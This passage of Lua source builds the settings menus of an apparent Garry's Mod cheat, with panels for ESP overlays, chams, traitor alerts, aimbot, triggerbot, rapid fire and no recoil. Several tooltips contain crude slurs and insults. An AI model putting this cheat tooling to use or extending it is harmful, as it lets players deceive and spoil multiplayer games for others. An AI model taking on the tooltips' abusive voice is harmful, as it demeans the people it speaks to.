  602.         PropB:SetValue( MS.Settings.Visuals.PropB )
  603.         PropB:SetText( "Prop Chams: Blue" )
  604.         PropB:SetDecimals( 0 )
  605.         PropB.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  606.         PropB.OnValueChanged = function( panel, value )
  607.                 MS.Settings.Visuals.PropB = value
  608.                 MS.UpdatePropCol = true
  609.         end
  610.         PropB:SetSize( 120, 14 )
  611.  
  612.         local PropA = vgui.Create( "DNumSlider" )
  613.         PropA:SetMinMax( 0, 100 )
  614.         PropA:SetValue( MS.Settings.Visuals.PropA )
  615.         PropA:SetText( "Prop Chams: Opacity" )
  616.         PropA:SetDecimals( 0 )
  617.         PropA.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  618.         PropA.OnValueChanged = function( panel, value )
  619.                 MS.Settings.Visuals.PropA = value
  620.                 MS.UpdatePropCol = true
  621.         end
  622.         PropA:SetSize( 120, 14 )
  623.  
  624.         local RainbowMulSlider = vgui.Create( "DNumSlider" )
  625.         RainbowMulSlider:SetMinMax( 1, 50 )
  626.         RainbowMulSlider:SetValue( MS.Settings.Visuals.rainbowmult )
  627.         RainbowMulSlider:SetText( "Rainbow: Phase Speed" )
  628.         RainbowMulSlider:SetDecimals( 0 )
  629.         RainbowMulSlider.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  630.         RainbowMulSlider.OnValueChanged = function( panel, value )
  631.                 MS.Settings.Visuals.rainbowmult = value
  632.                 if( !MS.Settings.Visuals.rainbowmult ) then
  633.                         if( !MS.Settings.Visuals.teamcolours ) then
  634.                                 MS.UpdateCol = true
  635.                         end
  636.                         MS.UpdatePropCol = true
  637.                 end
  638.         end
  639.         RainbowMulSlider:SetSize( 120, 14 )
  640.  
  641.         local ThirdPersonDist = vgui.Create( "DNumSlider" )
  642.         ThirdPersonDist:SetMinMax( 0, 2000 )
  643.         ThirdPersonDist:SetValue( MS.Settings.Visuals.ThirdPersonDist )
  644.         ThirdPersonDist:SetText( "Third Person Distance" )
  645.         ThirdPersonDist:SetDecimals( 0 )
  646.         ThirdPersonDist.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  647.         ThirdPersonDist.OnValueChanged = function( panel, value )
  648.                 MS.Settings.Visuals.ThirdPersonDist = value
  649.                 if( MS.Settings.Visuals.ThirdPersonDist <30 ) then
  650.                         MS.Settings.Visuals.thirdperson = false
  651.                         return
  652.                 end
  653.                 MS.Settings.Visuals.thirdperson = true
  654.         end
  655.         ThirdPersonDist:SetSize( 120, 14 )
  656.        
  657.         local CrosshairSpeed = vgui.Create( "DNumSlider" )
  658.         CrosshairSpeed:SetMinMax( 1, 5 )
  659.         CrosshairSpeed:SetValue( MS.Settings.Visuals.crosshairspeed )
  660.         CrosshairSpeed:SetText( "Crosshair Speed" )
  661.         CrosshairSpeed:SetDecimals( 1 )
  662.         CrosshairSpeed.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  663.         CrosshairSpeed.OnValueChanged = function( panel, value )
  664.                 MS.Settings.Visuals.crosshairspeed = value
  665.         end
  666.         CrosshairSpeed:SetSize( 120, 14 )
  667.        
  668.         SheetLeft:AddItem( CheckBoxAddWire )
  669.         SheetMid:AddItem( CheckBoxCheckTidesGate )    
  670.         SheetRight:AddItem( CheckBoxCrosshair )
  671.        
  672.         SheetLeft:AddItem( CheckBoxModelNames )
  673.         SheetMid:AddItem( CheckBoxNoSky )      
  674.         SheetRight:AddItem( CheckBoxPropChams )
  675.        
  676.         SheetLeft:AddItem( CheckBoxPropLeading )
  677.         SheetMid:AddItem( CheckBoxRainbow )
  678.         SheetRight:AddItem( CheckBoxSaveFPS )
  679.        
  680.         SheetLeft:AddItem( CheckBoxNoGunz )
  681.         SheetMid:AddItem( CheckBoxTopVelocity )
  682.         SheetRight:AddItem( CheckBoxVelocity )
  683.        
  684.         SheetLong:AddItem( PropR )
  685.         SheetLong:AddItem( PropG )
  686.         SheetLong:AddItem( PropB )
  687.         SheetLong:AddItem( PropA )
  688.         SheetLong:AddItem( RainbowMulSlider )
  689.         SheetLong:AddItem( ThirdPersonDist )
  690.         SheetLong:AddItem( CrosshairSpeed )
  691.  
  692.         return VisualPanel
  693. end
  694.  
  695. local function GeneratePlayerVisualsSheet( w, h )
  696.         PlayerVisPanel = vgui.Create( "DPanel" )
  697.         PlayerVisPanel:SetPos( 4, 4 )
  698.         PlayerVisPanel:SetSize( w - 2, h - 2 )
  699.         PlayerVisPanel.Paint = function()
  700.                 draw.RoundedBox( 3, 0, 0, PlayerVisPanel:GetWide(), PlayerVisPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  701.         end
  702.        
  703.         local SheetLong = vgui.Create( "DPanelList", PlayerVisPanel )
  704.         SheetLong:SetPos( 2, 150 )
  705.         SheetLong:SetSize( 305, h/3 )
  706.         SheetLong:SetSpacing( 3 )
  707.         SheetLong:SetPadding( 4 )
  708.         SheetLong:EnableVerticalScrollbar( true )
  709.        
  710.         local SheetLeft = vgui.Create( "DPanelList", PlayerVisPanel )
  711.         SheetLeft:SetPos( 2, 2 )
  712.         SheetLeft:SetSize( 85, h/1.8 )
  713.         SheetLeft:SetSpacing( 6 )
  714.         SheetLeft:SetPadding( 4 )
  715.         SheetLeft:EnableVerticalScrollbar( true )
  716.  
  717.         local SheetMid = vgui.Create( "DPanelList", PlayerVisPanel )
  718.         SheetMid:SetPos( 85, 2 )
  719.         SheetMid:SetSize( 112, h/1.8 )
  720.         SheetMid:SetSpacing( 6 )
  721.         SheetMid:SetPadding( 4 )
  722.         SheetMid:EnableVerticalScrollbar( true )
  723.  
  724.         local SheetRight = vgui.Create( "DPanelList", PlayerVisPanel )
  725.         SheetRight:SetPos( 190, 2 )
  726.         SheetRight:SetSize( 115, h/1.8 )
  727.         SheetRight:SetSpacing( 6 )
  728.         SheetRight:SetPadding( 4 )
  729.         SheetRight:EnableVerticalScrollbar( true )
  730.        
  731.         local CustomR = vgui.Create( "DNumSlider" )
  732.         CustomR:SetMinMax( 0, 255 )
  733.         CustomR:SetValue( MS.Settings.Visuals.CustomR )
  734.         CustomR:SetText( "Player Red" )
  735.         CustomR:SetDecimals( 0 )
  736.         CustomR.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  737.         CustomR.OnValueChanged = function( panel, value )
  738.                 MS.Settings.Visuals.CustomR = value
  739.                 MS.UpdateCol = true
  740.         end
  741.         CustomR:SetSize( 120, 15 )    
  742.        
  743.         local CustomG = vgui.Create( "DNumSlider" )
  744.         CustomG:SetMinMax( 0, 255 )
  745.         CustomG:SetValue( MS.Settings.Visuals.CustomG )
  746.         CustomG:SetText( "Player Green" )
  747.         CustomG:SetDecimals( 0 )
  748.         CustomG.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  749.         CustomG.OnValueChanged = function( panel, value )
  750.                 MS.Settings.Visuals.CustomG = value
  751.                 MS.UpdateCol = true
  752.         end
  753.         CustomG:SetSize( 120, 15 )
  754.        
  755.         local CustomB = vgui.Create( "DNumSlider" )
  756.         CustomB:SetMinMax( 0, 255 )
  757.         CustomB:SetValue( MS.Settings.Visuals.CustomB )
  758.         CustomB:SetText( "Player Blue" )
  759.         CustomB:SetDecimals( 0 )
  760.         CustomB.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  761.         CustomB.OnValueChanged = function( panel, value )
  762.                 MS.Settings.Visuals.CustomB = value
  763.                 MS.UpdateCol = true
  764.         end
  765.         CustomB:SetSize( 120, 15 )    
  766.  
  767.         local HaloSelection = vgui.Create( "DComboBox" )
  768.         HaloSelection:SetValue( "Halo/Ms_OverridePhysgun Colour Selection" )
  769.         HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Team" )
  770.         HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Health" )
  771.         HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Custom" )
  772.         HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: RAINBOW" )
  773.         HaloSelection.OnSelect = function( panel, index )
  774.                 MS.Settings.Visuals.haloselection = index
  775.         end
  776.         if( MS.Settings.Visuals.haloselection )then
  777.                 HaloSelection:ChooseOptionID( MS.Settings.Visuals.haloselection )
  778.         end
  779.         HaloSelection:SetSize( 120, 20 )
  780.                
  781.         local CheckBoxBoxes = vgui.Create( "DCheckBoxLabel" )
  782.         CheckBoxBoxes:SetText( "Boxes" )
  783.         CheckBoxBoxes:SetToolTip( "Draws bounding boxes around players" )
  784.         CheckBoxBoxes:SetValue( MS.Settings.Visuals.boxes )
  785.         CheckBoxBoxes.OnChange = function( _, toggle )
  786.                 MS.Settings.Visuals.boxes = toggle
  787.         end
  788.         CheckBoxBoxes:SizeToContents()
  789.        
  790.         local CheckBoxESPDistance = vgui.Create( "DCheckBoxLabel" )
  791.         CheckBoxESPDistance:SetText( "ESP Dist" )
  792.         CheckBoxESPDistance:SetToolTip( "Adds distance from player to ESP" )
  793.         CheckBoxESPDistance:SetValue( MS.Settings.Visuals.Text.distance )
  794.         CheckBoxESPDistance.OnChange = function( _, toggle )
  795.                 MS.Settings.Visuals.Text.distance = toggle
  796.         end
  797.         CheckBoxESPDistance:SizeToContents()
  798.        
  799.         local CheckBoxESPHealth = vgui.Create( "DCheckBoxLabel" )
  800.         CheckBoxESPHealth:SetText( "ESP HP" )
  801.         CheckBoxESPHealth:SetToolTip( "Adds player health to ESP" )
  802.         CheckBoxESPHealth:SetValue( MS.Settings.Visuals.Text.health )
  803.         CheckBoxESPHealth.OnChange = function( _, toggle )
  804.                 MS.Settings.Visuals.Text.health = toggle
  805.         end
  806.         CheckBoxESPHealth:SizeToContents()
  807.                
  808.         local CheckBoxESPMingeNameTags = vgui.Create( "DCheckBoxLabel" )
  809.         CheckBoxESPMingeNameTags:SetText( "ESP Minges" )
  810.         CheckBoxESPMingeNameTags:SetToolTip( "Adds minge nametags to ESP" )
  811.         CheckBoxESPMingeNameTags:SetValue( MS.Settings.Visuals.Text.mingenametags )
  812.         CheckBoxESPMingeNameTags.OnChange = function( _, toggle )
  813.                 MS.Settings.Visuals.Text.mingenametags = toggle
  814.         end
  815.         CheckBoxESPMingeNameTags:SizeToContents()
  816.  
  817.         local CheckBoxESPNames = vgui.Create( "DCheckBoxLabel" )
  818.         CheckBoxESPNames:SetText( "ESP Name" )
  819.         CheckBoxESPNames:SetToolTip( "Adds player name to ESP" )
  820.         CheckBoxESPNames:SetValue( MS.Settings.Visuals.Text.names )
  821.         CheckBoxESPNames.OnChange = function( _, toggle )
  822.                 MS.Settings.Visuals.Text.names = toggle
  823.         end
  824.         CheckBoxESPNames:SizeToContents()
  825.        
  826.         local CheckBoxESPEnabled = vgui.Create( "DCheckBoxLabel" )
  827.         CheckBoxESPEnabled:SetText( "ESP On" )
  828.         CheckBoxESPEnabled:SetToolTip( "HUR DURDURFFFHURRFF I CAN'T STOP SUCKING DICKS DURFF" )
  829.         CheckBoxESPEnabled:SetValue( MS.Settings.Visuals.Text.on )
  830.         CheckBoxESPEnabled.OnChange = function( _, toggle )
  831.                 MS.Settings.Visuals.Text.on = toggle
  832.         end
  833.         CheckBoxESPEnabled:SizeToContents()
  834.  
  835.         local CheckBoxESPRank = vgui.Create( "DCheckBoxLabel" )
  836.         CheckBoxESPRank:SetText( "ESP Rank" )
  837.         CheckBoxESPRank:SetToolTip( "Adds player rank to ESP" )
  838.         CheckBoxESPRank:SetValue( MS.Settings.Visuals.Text.rank )
  839.         CheckBoxESPRank.OnChange = function( _, toggle )
  840.                 MS.Settings.Visuals.Text.rank = toggle
  841.         end
  842.         CheckBoxESPRank:SizeToContents()
  843.        
  844.         local CheckBoxESPVel = vgui.Create( "DCheckBoxLabel" )
  845.         CheckBoxESPVel:SetText( "ESP Speed" )
  846.         CheckBoxESPVel:SetToolTip( "Adds player's velocity to ESP" )
  847.         CheckBoxESPVel:SetValue( MS.Settings.Visuals.Text.espvelocity )
  848.         CheckBoxESPVel.OnChange = function( _, toggle )
  849.                 MS.Settings.Visuals.Text.espvelocity = toggle
  850.         end
  851.         CheckBoxESPVel:SizeToContents()
  852.  
  853.         local CheckBoxESPWeapon = vgui.Create( "DCheckBoxLabel" )
  854.         CheckBoxESPWeapon:SetText( "ESP Weapon" )
  855.         CheckBoxESPWeapon:SetToolTip( "Adds player weapon to ESP" )
  856.         CheckBoxESPWeapon:SetValue( MS.Settings.Visuals.Text.weapon )
  857.         CheckBoxESPWeapon.OnChange = function( _, toggle )
  858.                 MS.Settings.Visuals.Text.weapon = toggle
  859.         end
  860.         CheckBoxESPWeapon:SizeToContents()
  861.        
  862.         local CheckBoxEyeTrace = vgui.Create( "DCheckBoxLabel" )
  863.         CheckBoxEyeTrace:SetText( "Eye Trace" )
  864.         CheckBoxEyeTrace:SetToolTip( "Draw a beam showing the player's aim" )
  865.         CheckBoxEyeTrace:SetValue( MS.Settings.Visuals.eyetrace )
  866.         CheckBoxEyeTrace.OnChange = function( _, toggle )
  867.                 MS.Settings.Visuals.eyetrace = toggle
  868.         end
  869.  
  870.         local CheckBoxHeadSmashBall = vgui.Create( "DCheckBoxLabel" )
  871.         CheckBoxHeadSmashBall:SetText( "Headsmash Ball" )
  872.         CheckBoxHeadSmashBall:SetTooltip( "ENABLES THE MAGICAL HEADSMASH BALL" )
  873.         CheckBoxHeadSmashBall:SetValue( MS.Settings.Visuals.headsmashball )
  874.         CheckBoxHeadSmashBall.OnChange = function( _, toggle )
  875.                 MS.Settings.Visuals.headsmashball = toggle
  876.         end
  877.         CheckBoxHeadSmashBall:SizeToContents()
  878.  
  879.         local CheckBoxHeadSmash = vgui.Create( "DCheckBoxLabel" )
  880.         CheckBoxHeadSmash:SetText( "Headsmash Beam" )
  881.         CheckBoxHeadSmash:SetTooltip( "ENABLES THE MAGICAL HEADSMASH BEAM" )
  882.         CheckBoxHeadSmash:SetValue( MS.Settings.Visuals.headsmash )
  883.         CheckBoxHeadSmash.OnChange = function( _, toggle )
  884.                 MS.Settings.Visuals.headsmash = toggle
  885.         end
  886.         CheckBoxHeadSmash:SizeToContents()    
  887.        
  888.         local CheckBoxPlayerChams = vgui.Create( "DCheckBoxLabel" )
  889.         CheckBoxPlayerChams:SetText( "Chams" )
  890.         CheckBoxPlayerChams:SetToolTip( "Enables player chams" )
  891.         CheckBoxPlayerChams:SetValue( MS.Settings.Visuals.playerchams )
  892.         CheckBoxPlayerChams.OnChange = function( _, toggle )
  893.                 MS.Settings.Visuals.playerchams = toggle
  894.         end
  895.         CheckBoxPlayerChams:SizeToContents()
  896.        
  897.         local CheckBoxHalos = vgui.Create( "DCheckBoxLabel" )
  898.         CheckBoxHalos:SetText( "Halos" )
  899.         CheckBoxHalos:SetToolTip( "Makes people glow and shit" )
  900.         CheckBoxHalos:SetValue( MS.Settings.Visuals.halos )
  901.         CheckBoxHalos.OnChange = function( _, toggle )
  902.                 MS.Settings.Visuals.halos = toggle
  903.         end
  904.         CheckBoxHalos:SizeToContents()
  905.        
  906.         local CheckBoxPlayerLeading = vgui.Create( "DCheckBoxLabel" )
  907.         CheckBoxPlayerLeading:SetText( "Prediction" )
  908.         CheckBoxPlayerLeading:SetToolTip( "Player trajectory prediction, pretty shitty" )
  909.         CheckBoxPlayerLeading:SetValue( MS.Settings.Visuals.playerleading )
  910.         CheckBoxPlayerLeading.OnChange = function( _, toggle )
  911.                 MS.Settings.Visuals.playerleading = toggle
  912.         end
  913.         CheckBoxPlayerLeading:SizeToContents()
  914.        
  915.         local CheckBoxPlayerLighting = vgui.Create( "DCheckBoxLabel" )
  916.         CheckBoxPlayerLighting:SetText( "Shadows" )
  917.         CheckBoxPlayerLighting:SetTooltip( "Enable shadows on player chams" )
  918.         CheckBoxPlayerLighting:SetValue( MS.Settings.Visuals.playersuppressenginelighting )
  919.         CheckBoxPlayerLighting.OnChange = function( _, toggle )
  920.                 MS.Settings.Visuals.playersuppressenginelighting = toggle
  921.         end
  922.         CheckBoxPlayerLighting:SizeToContents()
  923.                
  924.         local CheckBoxTeamColours = vgui.Create( "DCheckBoxLabel" )
  925.         CheckBoxTeamColours:SetText( "Team Colour" )
  926.         CheckBoxTeamColours:SetToolTip( "Sets each player's esp info, chams and beams to the colour of their team" )
  927.         CheckBoxTeamColours:SetValue( MS.Settings.Visuals.teamcolours )
  928.         CheckBoxTeamColours.OnChange = function( _, toggle )
  929.                 MS.Settings.Visuals.teamcolours = toggle              
  930.                 if( !MS.Settings.Visuals.teamcolours ) then
  931.                         MS.UpdateCol = true
  932.                 end
  933.         end
  934.         CheckBoxTeamColours:SizeToContents()
  935.        
  936.         local CheckBoxTraitor = vgui.Create( "DCheckBoxLabel" )
  937.         CheckBoxTraitor:SetText( "Traitors" )
  938.         CheckBoxTraitor:SetToolTip( "Alerts you if anyone equips a traitor weapon" )
  939.         CheckBoxTraitor:SetValue( MS.Settings.Visuals.traitor )
  940.         CheckBoxTraitor.OnChange = function( _, toggle )
  941.                 MS.Settings.Visuals.traitor = toggle
  942.         end
  943.         CheckBoxTraitor:SizeToContents()
  944.        
  945.         local CheckBoxVerticalBeam = vgui.Create( "DCheckBoxLabel" )
  946.         CheckBoxVerticalBeam:SetText( "Vert Beam" )
  947.         CheckBoxVerticalBeam:SetTooltip( "Enables vertical beam" )
  948.         CheckBoxVerticalBeam:SetValue( MS.Settings.Visuals.verticalbeam )
  949.         CheckBoxVerticalBeam.OnChange = function( _, toggle )
  950.                 MS.Settings.Visuals.verticalbeam = toggle
  951.         end
  952.         CheckBoxVerticalBeam:SizeToContents()
  953.        
  954.         local CheckBoxWeaponChams = vgui.Create( "DCheckBoxLabel" )
  955.         CheckBoxWeaponChams:SetText( "Weapon Chams" )
  956.         CheckBoxWeaponChams:SetTooltip( "Add weapons to player chams" )
  957.         CheckBoxWeaponChams:SetValue( MS.Settings.Visuals.weaponchams )
  958.         CheckBoxWeaponChams.OnChange = function( _, toggle )
  959.                 MS.Settings.Visuals.weaponchams = toggle
  960.         end
  961.         CheckBoxWeaponChams:SizeToContents()
  962.        
  963.         SheetLong:AddItem( CustomR )
  964.         SheetLong:AddItem( CustomG )
  965.         SheetLong:AddItem( CustomB )
  966.         SheetLong:AddItem( HaloSelection )    
  967.        
  968.         SheetLeft:AddItem( CheckBoxESPDistance )
  969.         SheetMid:AddItem( CheckBoxESPHealth )
  970.         SheetRight:AddItem( CheckBoxESPMingeNameTags )
  971.        
  972.         SheetLeft:AddItem( CheckBoxESPNames )
  973.         SheetMid:AddItem( CheckBoxESPEnabled )
  974.         SheetRight:AddItem( CheckBoxESPRank )
  975.        
  976.         SheetLeft:AddItem( CheckBoxESPVel )
  977.         SheetMid:AddItem( CheckBoxESPWeapon )  
  978.         SheetRight:AddItem( CheckBoxBoxes )    
  979.        
  980.         SheetLeft:AddItem( CheckBoxEyeTrace )
  981.         SheetMid:AddItem( CheckBoxHeadSmashBall )
  982.         SheetRight:AddItem( CheckBoxHeadSmash )
  983.        
  984.         SheetLeft:AddItem( CheckBoxPlayerChams )
  985.         SheetMid:AddItem( CheckBoxHalos )      
  986.         SheetRight:AddItem( CheckBoxPlayerLeading )    
  987.        
  988.         SheetLeft:AddItem( CheckBoxPlayerLighting )    
  989.         SheetMid:AddItem( CheckBoxTeamColours )
  990.         SheetRight:AddItem( CheckBoxTraitor )
  991.  
  992.         SheetLeft:AddItem( CheckBoxVerticalBeam )      
  993.         SheetMid:AddItem( CheckBoxWeaponChams )
  994.         return PlayerVisPanel
  995. end
  996.  
  997. local function GenerateAimbotSheet( w, h )
  998.         AimbotPanel = vgui.Create( "DPanel" )
  999.         AimbotPanel:SetPos( 2, 2 )
  1000.         AimbotPanel:SetSize( w - 4, h - 4 )
  1001.         AimbotPanel.Paint = function()
  1002.                 draw.RoundedBox( 3, 0, 0, AimbotPanel:GetWide(), AimbotPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1003.         end
  1004.        
  1005.         local SheetLong = vgui.Create( "DPanelList", AimbotPanel )
  1006.         SheetLong:SetPos( 2, 90 )
  1007.         SheetLong:SetSize( 305, h )
  1008.         SheetLong:SetSpacing( 3 )
  1009.         SheetLong:SetPadding( 4 )
  1010.         SheetLong:EnableVerticalScrollbar( true )
  1011.        
  1012.         local SheetLeft = vgui.Create( "DPanelList", AimbotPanel )
  1013.         SheetLeft:SetPos( 2, 2 )
  1014.         SheetLeft:SetSize( 102, h/3 )
  1015.         SheetLeft:SetSpacing( 6 )
  1016.         SheetLeft:SetPadding( 4 )
  1017.         SheetLeft:EnableVerticalScrollbar( true )
  1018.  
  1019.         local SheetMid = vgui.Create( "DPanelList", AimbotPanel )
  1020.         SheetMid:SetPos( 100, 2 )
  1021.         SheetMid:SetSize( 120, h/3 )
  1022.         SheetMid:SetSpacing( 6 )
  1023.         SheetMid:SetPadding( 4 )
  1024.         SheetMid:EnableVerticalScrollbar( true )
  1025.  
  1026.         local SheetRight = vgui.Create( "DPanelList", AimbotPanel )
  1027.         SheetRight:SetPos( 190, 2 )
  1028.         SheetRight:SetSize( 115, h/3 )
  1029.         SheetRight:SetSpacing( 6 )
  1030.         SheetRight:SetPadding( 4 )
  1031.         SheetRight:EnableVerticalScrollbar( true )
  1032.        
  1033.         local IgnoreFriends = vgui.Create( "DCheckBoxLabel" )
  1034.         IgnoreFriends:SetValue( MS.Settings.Aimbot.ignorefriends )
  1035.         IgnoreFriends:SetText( "Ignore Friends" )
  1036.         IgnoreFriends:SetTooltip( "Aimbot ignores steam friends" )
  1037.         IgnoreFriends.OnChange = function( _, value )
  1038.                 MS.Settings.Aimbot.ignorefriends = value
  1039.         end
  1040.  
  1041.         local IgnoreTeammates = vgui.Create( "DCheckBoxLabel" )
  1042.         IgnoreTeammates:SetValue( MS.Settings.Aimbot.ignoreteammates )
  1043.         IgnoreTeammates:SetText( "Ignore Team" )
  1044.         IgnoreTeammates:SetTooltip( "DICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKS" )
  1045.         IgnoreTeammates.OnChange = function( _, value )
  1046.                 MS.Settings.Aimbot.ignoreteammates = value
  1047.         end
  1048.        
  1049.         local ShittySilentAim = vgui.Create( "DCheckBoxLabel" )
  1050.         ShittySilentAim:SetValue( MS.Settings.Aimbot.silent )
  1051.         ShittySilentAim:SetText( "Silent" )
  1052.         ShittySilentAim:SetTooltip( "Aims back to where you were previously looking after aimbotting, pretty shitty" )
  1053.         ShittySilentAim.OnChange = function( _, value )
  1054.                 MS.Settings.Aimbot.silent = value
  1055.         end
  1056.        
  1057.         local AimSmooth = vgui.Create( "DCheckBoxLabel" )
  1058.         AimSmooth:SetValue( MS.Settings.Aimbot.aimsmoothon )
  1059.         AimSmooth:SetText( "Smoothing" )
  1060.         AimSmooth:SetToolTip( "Gradually moves to target instead of snapping" )
  1061.         AimSmooth.OnChange = function( _, value )
  1062.                 MS.Settings.Aimbot.aimsmoothon = value
  1063.         end
  1064.        
  1065.         local CheckBoxTracing = vgui.Create( "DCheckBoxLabel" )
  1066.         CheckBoxTracing:SetText( "Full Body" )
  1067.         CheckBoxTracing:SetValue( MS.Settings.Aimbot.multitrace )
  1068.         CheckBoxTracing:SetToolTip( "Only targets people who are entirely out in the open" )
  1069.         CheckBoxTracing.OnChange = function( _, toggle )
  1070.                 MS.Settings.Aimbot.multitrace = toggle
  1071.         end
  1072.         CheckBoxTracing:SizeToContents()
  1073.        
  1074.         local TargetNPCs = vgui.Create( "DCheckBoxLabel" )
  1075.         TargetNPCs:SetValue( MS.Settings.Aimbot.targetnpcs )
  1076.         TargetNPCs:SetText( "NPCs" )
  1077.         TargetNPCs:SetTooltip( "Take a wild guess you cunt" )
  1078.         TargetNPCs.OnChange = function( _, value )
  1079.                 MS.Settings.Aimbot.targetnpcs = value
  1080.         end    
  1081.        
  1082.         local CheckBoxNoRecoil = vgui.Create( "DCheckBoxLabel" )
  1083.         CheckBoxNoRecoil:SetText( "No Recoil" )
  1084.         CheckBoxNoRecoil:SetToolTip( "Requires reconnect, won't work on a few weapon packs" )
  1085.         CheckBoxNoRecoil:SetValue( MS.Settings.Aimbot.norecoil )      
  1086.         CheckBoxNoRecoil.OnChange = function( _, toggle )      
  1087.                 MS.Settings.Aimbot.norecoil = toggle          
  1088.         end    
  1089.         CheckBoxNoRecoil:SizeToContents()
  1090.        
  1091.         local CheckBoxNoShake = vgui.Create( "DCheckBoxLabel" )
  1092.         CheckBoxNoShake:SetText( "No Shake" )
  1093.         CheckBoxNoShake:SetValue( MS.Settings.Aimbot.noshake )
  1094.         CheckBoxNoShake:SetToolTip( "Different thing to no recoil, will fuck things like falcop_spectate" )
  1095.         CheckBoxNoShake.OnChange = function( _, toggle )
  1096.                 MS.Settings.Aimbot.noshake = toggle
  1097.                 if( MS.Settings.Aimbot.noshake ) then
  1098.                         HKA( "CalcView", "NoShake", NoShake )
  1099.                         return
  1100.                 end
  1101.                 HKR( "CalcView", "NoShake" )
  1102.         end
  1103.         CheckBoxNoShake:SizeToContents()
  1104.        
  1105.         local CheckBoxRapidFire = vgui.Create( "DCheckBoxLabel" )
  1106.         CheckBoxRapidFire:SetText( "Rapid Fire" )
  1107.         CheckBoxRapidFire:SetValue( MS.Settings.TriggerBot.rapidfire )
  1108.         CheckBoxRapidFire:SetToolTip( "Spams +attack when you left click" )
  1109.         CheckBoxRapidFire.OnChange = function( _, toggle )
  1110.                 MS.Settings.TriggerBot.rapidfire = toggle
  1111.         end
  1112.         CheckBoxRapidFire:SizeToContents()
  1113.  
  1114.         local CheckBoxTrigger = vgui.Create( "DCheckBoxLabel" )
  1115.         CheckBoxTrigger:SetText( "TriggerBot" )
  1116.         CheckBoxTrigger:SetToolTip( "Automatically fires when you aim at someone" )
  1117.         CheckBoxTrigger:SetValue( MS.Settings.TriggerBot.enabled )
  1118.         CheckBoxTrigger.OnChange = function( _, toggle )
  1119.                 MS.Settings.TriggerBot.enabled = toggle
  1120.         end
  1121.         CheckBoxTrigger:SizeToContents()
  1122.        
  1123.         local CheckBoxOnAim = vgui.Create( "DCheckBoxLabel" )
  1124.         CheckBoxOnAim:SetText( "Aimbot Only" )
  1125.         CheckBoxOnAim:SetValue( MS.Settings.TriggerBot.onlyaim )
  1126.         CheckBoxOnAim:SetToolTip( "Triggerbot will only shoot people while aimbotting" )
  1127.         CheckBoxOnAim.OnChange = function( _, toggle )
  1128.                 MS.Settings.TriggerBot.onlyaim = toggle
  1129.         end
  1130.         CheckBoxOnAim:SizeToContents()
  1131.        
  1132.         local SliderSnap = vgui.Create( "DNumSlider" )
  1133.         SliderSnap:SetMinMax( 0, 2 )
  1134.         SliderSnap:SetValue( MS.Settings.Aimbot.snapwait )
  1135.         SliderSnap:SetText( "Delay" )
  1136.         SliderSnap:SetDecimals( 1 )
  1137.         SliderSnap.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1138.         SliderSnap:SetToolTip( "Delay between shooting people" )
  1139.         SliderSnap.OnValueChanged = function( panel, value )
  1140.                 MS.Settings.Aimbot.snapwait = value
  1141.         end
  1142.         SliderSnap:SetSize( 120, 25 )
  1143.        
  1144.         local SliderFOV = vgui.Create( "DNumSlider" )
  1145.         SliderFOV:SetMinMax( 1, 180 )
  1146.         SliderFOV:SetValue( MS.Settings.Aimbot.maxfov )
  1147.         SliderFOV:SetText( "FOV" )
  1148.         SliderFOV:SetDecimals( 0 )
  1149.         SliderFOV.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1150.         SliderFOV:SetToolTip( "Degrees from crosshair in which the aimbot will shoot people" )
  1151.         SliderFOV.OnValueChanged = function( panel, value )
  1152.                 MS.Settings.Aimbot.maxfov = value
  1153.         end
  1154.         SliderFOV:SetSize( 120, 25 )
  1155.        
  1156.         local SliderSmooth = vgui.Create( "DNumSlider" )
  1157.         SliderSmooth:SetMinMax( 1, 50 )
  1158.         SliderSmooth:SetValue( MS.Settings.Aimbot.aimsmooth )
  1159.         SliderSmooth:SetText( "Smoothed Aim Speed" )
  1160.         SliderSmooth:SetDecimals( 0 )
  1161.         SliderSmooth.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1162.         SliderSmooth:SetToolTip( "How fast smoothed aim shoots people" )
  1163.         SliderSmooth.OnValueChanged = function( panel, value )
  1164.                 MS.Settings.Aimbot.aimsmooth = value
  1165.         end
  1166.         SliderSmooth:SetSize( 120, 25 )
  1167.  
  1168.         local LabelBone = vgui.Create( "DLabel" )
  1169.         LabelBone:SetText( "Target Area" )
  1170.         LabelBone:SizeToContents()
  1171.  
  1172.         local BoneComboBox = vgui.Create( "DComboBox" )
  1173.         BoneComboBox:SetValue( MS.Settings.Aimbot.AimFor )
  1174.         BoneComboBox.OnSelect = function( _, _, value )        
  1175.                 MS.Settings.Aimbot.AimFor = value
  1176.         end
